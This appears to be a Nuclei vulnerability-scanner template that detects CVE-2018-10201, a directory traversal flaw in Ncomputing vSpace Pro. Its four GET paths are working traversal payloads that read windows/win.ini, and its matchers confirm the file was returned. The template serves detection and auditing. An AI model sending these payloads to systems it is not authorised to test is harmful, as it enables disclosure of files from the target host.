nuclei-templates/cves/2018/CVE-2018-10201.yaml

35 lines
1.1 KiB
YAML

id: CVE-2018-10201
info:
name: Ncomputing vSPace Pro 10 and 11 Directory Traversal
author: 0x_akoko
severity: high
description: Ncomputing vSpace Pro versions 10 and 11 suffer from a directory traversal vulnerability.
reference:
- https://packetstormsecurity.com/files/147303/Ncomputing-vSPace-Pro-10-11-Directory-Traversal.html
- https://www.cvedetails.com/cve/CVE-2018-10201
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-10201
cwe-id: CWE-22
tags: cve,cve2018,ncomputing,lfi
requests:
- method: GET
path:
- '{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini'
- '{{BaseURL}}/...\...\...\...\...\...\...\...\...\windows\win.ini'
- '{{BaseURL}}/..../..../..../..../..../..../..../..../..../windows/win.ini'
- '{{BaseURL}}/....\....\....\....\....\....\....\....\....\windows\win.ini'
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and